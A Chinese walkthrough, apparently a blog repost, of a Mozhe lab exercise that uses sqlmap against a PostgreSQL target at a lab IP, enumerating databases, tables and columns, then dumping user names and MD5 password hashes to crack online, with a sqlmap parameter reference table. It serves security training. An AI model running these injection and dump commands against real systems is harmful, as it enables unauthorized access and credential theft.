墨者:通过sqlmap解决SQL手工注入漏洞测试(PostgreSQL数据库)

使用Kali Linux中的sqlmap工具进行PostgreSQL手工注入漏洞测试实战

前言

SQL注入是Web安全中最常见的漏洞之一。本文将演示如何使用Kali Linux中的sqlmap工具对PostgreSQL数据库进行手工注入测试,通过实战案例帮助安全研究人员更好地理解漏洞原理和测试方法。

测试环境说明

  • 靶场地址:http://124.70.71.251:47707/new_list.php?id=1
  • 数据库类型:PostgreSQL
  • 工具:Kali Linux内置sqlmap

一、sqlmap基本介绍

sqlmap是一款开源的自动化SQL注入工具,能够检测和利用SQL注入漏洞,支持多种数据库类型。

主要功能:

  • 自动识别注入点
  • 支持多种数据库
  • 数据提取和导出
  • 密码哈希破解
  • 操作系统命令执行

二、实战测试步骤(以自己的ip地址为准)

1. 获取所有数据库名

sqlmap -u "http://124.70.71.251:47707/new_list.php?id=1" --dbs

参数说明

  • -u:指定目标URL
  • --dbs:枚举所有数据库

预期输出

available databases [1]:
[*] public

在这里插入图片描述
在这里插入图片描述

2. 获取目标数据库的表名

假设目标库为public

sqlmap -u "http://124.70.71.251:47707/new_list.php?id=1" -D public --tables

参数说明

  • -D:指定数据库名
  • --tables:枚举指定数据库的所有表

预期输出

Database: public
[2 tables]
+-----------+
| notice    |
| reg_users |
+-----------+

在这里插入图片描述

3. 获取表结构(字段名)

针对reg_users表:

sqlmap -u "http://124.70.71.251:47707/new_list.php?id=1" -D public -T reg_users --columns

参数说明

  • -T:指定表名
  • --columns:枚举表的所有列

预期输出

Database: public
Table: reg_users
[4 columns]
+----------+---------+
| Column   | Type    |
+----------+---------+
| name     | varchar |
| status   | int4    |
| id       | int4    |
| password | varchar |
+----------+---------+

在这里插入图片描述
在这里插入图片描述

4. 导出用户名和密码数据

sqlmap -u "http://124.70.71.251:47707/new_list.php?id=1" -D public -T reg_users -C "name,password" --dump

参数说明

  • -C:指定要导出的列
  • --dump:导出数据

预期输出

Database: public
Table: reg_users
[2 entries]
+--------+----------------------------------+
| name   | password                         |
+--------+----------------------------------+
| mozhe1 | a7d99ac11a815b451c0fc458bc5a4a32 |
| mozhe2 | 1c63129ae9db9c60c3e8aa94d3e00495 |
+--------+----------------------------------+

在这里插入图片描述
在这里插入图片描述

5. 假如重启了靶场,发现mozhe1的密码保持不变

建议使用下面的命令,用sqlmap重新导出数据,确保获取最新哈希

sqlmap -u "http://靶场URL/new_list.php?id=1" -D public -T reg_users -C "password" --fresh-queries --dump

参数说明

  • --fresh-queries:强制sqlmap忽略缓存,重新查询数据库。

6. 对密码进行MD5解密

工具:https://www.cmd5.com/,将mozhe1的密码放入工具中解密即可,手动登录获取Key
在这里插入图片描述

三、sqlmap关键参数功能表(PostgreSQL注入测试)

参数功能说明使用示例适用场景
-u指定目标URL(必须包含注入参数)-u "http://example.com/page.php?id=1"基础注入检测
--dbs枚举所有可访问的数据库名sqlmap -u "URL" --dbs信息收集阶段
-D指定目标数据库名-D public需配合--tables--columns使用
--tables枚举指定数据库中的所有表名sqlmap -u "URL" -D public --tables确定目标数据表
-T指定目标表名-T reg_users需配合--columns--dump使用
--columns枚举指定表的所有列名(字段名)sqlmap -u "URL" -D public -T reg_users --columns分析表结构
-C指定要操作的列名(可多选,逗号分隔)-C "name,password"精确提取数据
--dump导出指定表或列的数据sqlmap -u "URL" -D public -T reg_users -C "name,password" --dump获取敏感数据
--batch自动选择默认选项(非交互模式)sqlmap -u "URL" --batch批量测试时使用
--risk设置风险等级(1-3,默认1)
• 1: 低风险(如AND 1=1
• 3: 高风险(如OR 1=1
--risk=3需要绕过WAF时
--level设置测试深度(1-5,默认1)
• 1: 仅测试URL参数
• 3: 包含Header注入
• 5: 全参数测试
--level=5全面检测时使用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/93194.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/93194.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux笔记5——常用命令-4

帮助命令man 命令(查看命令的帮助)注:C7版本中有中文解释例:man lsman -f 命令 #查看命令有哪些级别的帮助,使用前要执行mandb生成man缓存信息,否则命令执行不成功man级别1.查看命令的帮助3.查看函数…

优化Linux高并发:文件描述符与端口范围的协同调优

既然已经通过调整nofile(最大文件描述符数量)来支持高并发,为什么还需要调整net.ipv4.ip_local_port_range(本地端口范围)?这两个参数看似都与高并发有关,但它们的作用和影响范围不同。 1. 文件…

.NET-键控服务依赖注入

有时候我们在服务注册的时候会遇到这样一个场景,我们的同一个接口,有着多个实现,且我们还要同时使用这些实现的时候,这个时候该怎么办?我们可以使用键控服务依赖注入 键控服务依赖注入(Keyed Dependency In…

VTK交互——ImageClip

概要 这段代码https://examples.vtk.org/site/Cxx/Interaction/ImageClip/实现了一个交互式图像裁剪工具,使用VTK库创建了一个双窗口界面,左侧显示原始图像,右侧显示裁剪后的图像。用户可以通过拖动边框小部件在左侧图像上选择裁剪区域,右侧窗口会实时显示裁剪结果。 代…

【vue vapor jsx 未雨绸缪】

随着vue3.6.0 alpha的发布,vapor mode进入正式版本只是时间上的问题,可以预见的是各个组件库都将积极适配vapor,这篇文章主要侧重vue中使用jsx而非SFC,所以不涉及template相关。目前vue官方也是提供了vue-jsx-vapor这个仓库&#…

go语言数据结构与排序算法

package mainimport "fmt"func main() {Bubble_Sort()Select_Sort()Insert_Sort()Shell_Sort()Heap_Sort()Merge_Sort()Quick_Sort() }一、1、冒泡排序 // 冒泡排序 func Bubble_Sort() {str : []int{9, 1, 5, 8, 3, 7, 4, 6, 2}// 正向冒泡for i : 0; i < len(st…

Petalinux生成文件的关系

1. 生成文件概述BOOT.BIN是引导程序&#xff0c;包括了 u-boot.elf是build u-boot生成的zynq_fsbl.elf&#xff08;引导PS和PL的启动&#xff09;elf文件是和启动引导相关的文件image.ub是镜像文件roofs.cpio.gz用来构建根文件系统

MongoDB的操作

在 Java 中操作 MongoDB 的 增删改查&#xff08;CRUD&#xff09; 主要有两种方式&#xff1a; Spring Data MongoDB&#xff08;推荐&#xff0c;类似 JPA 风格&#xff09;MongoDB Java Driver&#xff08;原生 API&#xff0c;更灵活&#xff09;1. Spring Data MongoDB 方…

getConnectionOwnerUid

在Android系统中&#xff0c;为了进行网络权限控制、流量统计等&#xff0c;需要将网络连接&#xff08;如Socket&#xff09;与发起该连接的应用UID关联起来。这种关联通常在内核中建立&#xff0c;并在用户空间通过一些接口进行查询。 1. 内核中的实现基础 Linux内核中&#…

开源 Arkts 鸿蒙应用 开发(十)通讯--Http数据传输

文章的目的为了记录使用Arkts 进行Harmony app 开发学习的经历。本职为嵌入式软件开发&#xff0c;公司安排开发app&#xff0c;临时学习&#xff0c;完成app的开发。开发流程和要点有些记忆模糊&#xff0c;赶紧记录&#xff0c;防止忘记。 相关链接&#xff1a; 开源 Arkts …

net8.0一键创建支持(RabbitMQ)

Necore项目生成器 - 在线创建Necore模板项目 | 一键下载 RabbitMQController.cs using Microsoft.AspNetCore.Http; using Microsoft.AspNetCore.Mvc; using RabbitMQ.Client; using RabbitMQ.Client.Events; using System.Text; using System.Threading.Tasks; using UnT.Tem…

Rust 泛型与特性

Rust 泛型与特性 引言 Rust 语言以其安全性和高效性在编程语言中独树一帜。Rust 的泛型和特性是其核心特性之一,它们使得开发者能够编写更加通用、灵活且安全的代码。本文将深入探讨 Rust 中的泛型和特性,包括其概念、用法以及在实际开发中的应用。 泛型简介 概念 泛型是…

LangChain学习——结构化输出和数据解析

LangChain 本指南全面介绍LangChain中结构化输出生成和数据解析的核心功能&#xff0c;包括Pydantic BaseModel构造、各种输出解析器的使用&#xff0c;以及高级错误处理机制。 详细测试样例和代码可参考如下两个链接&#xff1a; test_output_parserstest_pydantic_base_mo…

基于华为ENSP的BGP的状态机深入浅出

本篇技术博文摘要 &#x1f31f; 本文章主要探讨BGP状态机如何控制BGP连接的建立与维护&#xff0c;以及BGP协议在运行过程中如何交换路由信息并确保网络的稳定性 引言 &#x1f4d8; 在这个快速发展的技术时代&#xff0c;与时俱进是每个IT人的必修课。我是肾透侧视攻城狮&…

Android 15中的16KB大页有何优势?

deepseek回答&#xff1a; Android 15引入的16KB大内存页是系统性能优化的关键变革&#xff0c;其核心优势体现在以下方面&#xff1a; ⚡ 一、性能全面提升 系统整体加速 配置16KB页面的设备整体性能提升5%-10%&#xff0c;通过减少内存管理开销释放更多资源用于应用运行。…

Gis数据的A*算法规划航线

1.1 用到的技术栈geotools JTSJgrapht1.2 实现思路// 定义栅格网格参数private static final double CELL_SIZE_DEGREES 0.005;private static int gridWidth 0;//格子高度 index 1private static int gridHeight 0;//格子宽度// 1. 读取GeoJSON文件File geoJsonFile new …

Spring Boot 默认使用 CGLIB,但CGLIB 无法代理 final 类或 final 方法

那么当这两件事冲突时&#xff0c;Spring Boot 是怎么“解决”的呢&#xff1f;答案是&#xff1a;它不解决&#xff0c;也无法解决。当这种情况发生时&#xff0c;你的应用程序会直接启动失败。这不是 Spring Boot 的疏忽&#xff0c;而是由 CGLIB 的底层原理和 Java 语言的规…

cuda编程笔记(10)--memory access 优化

全局内存访问优化&#xff08;Coalesced Access&#xff09; 什么是 Coalesced Access&#xff1f; 定义&#xff1a;一个 warp&#xff08;32 个线程&#xff09;在同一指令中访问全局内存时&#xff0c;如果这些访问请求可以合并成尽可能少的内存事务&#xff08;通常是 32…

闲庭信步使用图像验证平台加速FPGA的开发:第三十一课——车牌识别的FPGA实现(3)车牌字符分割预处理

&#xff08;本系列只需要modelsim即可完成数字图像的处理&#xff0c;每个工程都搭建了全自动化的仿真环境&#xff0c;只需要双击top_tb.bat文件就可以完成整个的仿真&#xff0c;大大降低了初学者的门槛&#xff01;&#xff01;&#xff01;&#xff01;如需要该系列的工程…

电子电气架构 --- 汽车软件全生命周期

我是穿拖鞋的汉子,魔都中坚持长期主义的汽车电子工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 简单,单纯,喜欢独处,独来独往,不易合同频过着接地气的生活,除了生存温饱问题之外,没有什么过多的欲望,表面看起来很高冷,内心热情,如果你身…